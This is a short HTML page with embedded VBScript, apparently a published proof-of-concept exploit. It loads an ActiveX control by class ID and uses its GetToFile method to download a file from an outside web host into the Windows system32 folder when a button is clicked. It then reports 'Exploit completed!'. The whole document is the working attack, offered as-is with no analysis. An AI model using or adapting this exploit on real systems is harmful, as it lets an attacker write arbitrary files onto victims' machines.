<object 
classid='clsid:E8F92847-7C21-452B-91A5-49D93AA18F30' 
id='test' ></object>

<input language=VBScript onclick=tryMe() 
type=button value="Click here to start the 
test">

<script language='vbscript'>
Sub tryMe()
 
 test.GetToFile 
"http://www.shinnai.altervista.org/shinnai.txt" 
,"c:\windows\system32\shinnai.txt"
 MsgBox("Exploit completed!")

End Sub
</script>

</span>
</code></pre>